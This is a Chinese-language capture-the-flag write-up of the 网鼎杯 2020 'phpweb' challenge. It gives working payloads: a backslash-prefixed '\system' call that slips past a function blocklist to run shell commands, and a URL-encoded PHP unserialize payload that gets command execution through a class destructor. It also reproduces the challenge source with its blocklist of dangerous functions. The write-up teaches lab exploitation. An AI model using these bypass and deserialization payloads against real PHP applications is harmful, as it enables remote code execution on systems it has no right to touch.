BUU [网鼎杯 2020 朱雀组]phpweb
众生皆懒狗。打开题目,只有一个报错,不知何从下手。
翻译一下报错,data()函数:,还是没有头绪,中国有句古话说的好“遇事不决抓个包”
抓个包果然有东西,仔细一看这不就分别是函数和参数吗,试一下别的,从报错发现和函数call_user_func()有关系。
试一下命令执行有过滤,难办,那还是得办。从这里开始分为两种方法了。
法一:
绕过过滤:
\system("ls");
\system可以绕过黑名单的原因:php内的" \ "在做代码执行的时候,会识别特殊字符串。
Payload:func=\system&p=tac $(find / -name fla*)
一步到位。
法二:
利用file_get_contents获取index.php的源码,
func=file_get_contents&p=index.php
源码如下
<?php $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"); function gettime($func, $p) { $result = call_user_func($func, $p); $a= gettype($result); if ($a == "string") { return $result; } else {return "";} } class Test { var $p = "Y-m-d h:i:s a"; var $func = "date"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } } } $func = $_REQUEST["func"]; $p = $_REQUEST["p"]; if ($func != null) { $func = strtolower($func); if (!in_array($func,$disable_fun)) { echo gettime($func, $p); }else { die("Hacker..."); } } ?>
妈呀过滤的真多,麻了,幸好没有去一个一个测试。
分析一下代码,是存在反序列化的。我们可以传进去func=unserialize,func=unserialize,p=序列化后的字符串。可以序列化Text类,其中var $p = “tac $(find / -name fla*)”;var $func = “system”;【注意这里的类里面的func和p与传进去的不一样,不需要进行过滤】,貌似反序列化的题经常喜欢拿名字一样的两个东西来混淆视听,这个应该是考察我们对序列化和代码的理解能力。
构造exp
Payload:
func=unserialize&p=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A24%3A%22tac+%24%28find+%2F+-name+fla%2A%29%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D
(这里应该是可以不url编码直接传字符串的)
也可以是Payload:
func=unserialize&p=O:4:“Test”:2:{s:1:“p”;s:24:“tac $(find / -name fla*)”;s:4:“func”;s:6:“system”;}
补充法:
好像也可以利用highlight_file或者show_source获取index.php的源码,做法和法二一样。